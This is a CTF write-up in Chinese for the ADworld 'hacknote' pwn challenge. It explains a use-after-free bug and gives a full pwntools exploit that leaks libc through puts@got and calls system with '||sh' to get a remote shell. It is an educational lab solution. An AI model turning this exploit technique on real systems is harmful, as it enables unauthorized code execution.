ADworld pwn wp - hacknote

前言

攻防世界的一道pwn, UAF漏洞
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4717&page=2

分析过程

在这里插入图片描述
在这里插入图片描述

void __cdecl __noreturn main()
{
  int v0; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 4u);
      v0 = atoi(buf);
      if ( v0 != 2 )
        break;
      delete();
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        print();
      }
      else
      {
        if ( v0 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v0 != 1 )
        goto LABEL_13;
      add();
    }
  }
}

先看add函数, 读入size大小的字符串保存在全局数组ptr中, 并且ptr+i是指向函数puts的指针, 之后跟着保存字符串的chunk

unsigned int add()
{
  int v0; // ebx
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( cnt <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&ptr + i) )
      {
        *(&ptr + i) = malloc(8u);
        if ( !*(&ptr + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)*(&ptr + i) = func_puts;
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = (int)*(&ptr + i);
        *(_DWORD *)(v0 + 4) = malloc(size);
        if ( !*((_DWORD *)*(&ptr + i) + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)*(&ptr + i) + 1), size);
        puts("Success !");
        ++cnt;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

再看print函数, 用puts打印字符串, 这里可能看起来很迷惑, 其实就是用ptr + i指向函数的指针调用函数, 然后这个函数是从传入进来的参数的 + 4地址处开始打印字符串, 所以就等效于puts((&ptr + i) + 4)

unsigned int print()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= cnt )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
    (*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));
  return __readgsdword(0x14u) ^ v3;
}

最后看delete函数, 这里出现了UAF漏洞, free堆块后没有将指针清零

unsigned int delete()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= cnt )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&ptr + v1) )
  {
    free(*(*(&ptr + v1) + 1));
    free(*(&ptr + v1));
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

漏洞利用

UAF漏洞, 先申请两个0x20的chunk, 加上默认申请的0x8, 一共4个chunk, 然后释放
在这里插入图片描述

申请一个0x8的chunk, 保存0x0804862b, puts@got, 打印(相当于调用puts@plt(puts@got))即可泄露puts地址, 计算出system地址, 同理操作传入system_addr, "||sh"即可get shell; 这里的数据结构, 逆向分析add函数可以发现, malloc出来的8字节, 前4字节用于保存函数指针, 后4字节保存字符串指针, 所以释放后打印是行得通的

        *(&ptr + i) = malloc(8u);
        if ( !*(&ptr + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        **(&ptr + i) = func_puts;
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = *(&ptr + i);
        *(v0 + 4) = malloc(size);

在这里插入图片描述

完整exp

from pwn import *

url, port = "111.200.241.244", 61621
filename = "./hacknote"
elf = ELF(filename)
# context(arch="amd32", os="linux")
context(arch="i386", os="linux")

debug = 0
if debug:
    context.log_level="debug"
    io = process(filename)
    context.terminal = ['tmux', 'splitw', '-h']
    libc = elf.libc
    # gdb.attach(io)
else:
    libc = ELF("./libc_32.so.6")
    io = remote(url, port)

def BK():
    gdb.attach(io) #  "b *" + str(hex(addr))

def Add(size,content):
    io.sendlineafter('Your choice :','1')
    io.sendlineafter('Note size :',str(size))
    io.sendlineafter('Content :',content)

def Print(index):
    io.sendlineafter('Your choice :','3')
    io.sendlineafter('Index :',str(index))

def Del(index):
    io.sendlineafter('Your choice :','2')
    io.sendlineafter('Index :',str(index))

def pwn():
    Add(0x20, "zzzz")
    Add(0x20, "zzzz")
    Del(0)
    Del(1)

    puts_func_addr = 0x804862B
    puts_got = elf.got['puts']
    payload = p32(puts_func_addr) + p32(puts_got)
    Add(0x8, payload)
    Print(0)
    libc_base = u32(io.recv(4)) - libc.sym['puts']

    Del(2)
    system_addr = libc_base + libc.sym["system"]
    payload = p32(system_addr) + b"||sh"
    Add(0x8, payload)
    Print(0)
    io.interactive()

if __name__ == '__main__':
    pwn()

总结

因为没有在free之后清零指针, 所以notes[0]和notes[1]的指针可以重复利用, 然后根据chunk大小巧妙构造新的chunk2, chunk3, 就可以控制notes[0], notes[1]的内容, 调用print(0)/print(1)即可实现特定函数调用.

卡点

(1) 这里写入的函数需要用程序实现的打印函数sub_0804862b因为参数会在打印前+4, 这样才是打印puts@got

(2) 想当然以为申请chunk3时, 两个chunk会颠倒顺序, 其实认真分析会知道, chunk3和chunk2结构是相同的, 都是用chunk0保存payload, 所以两次调用函数都是Print(0)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值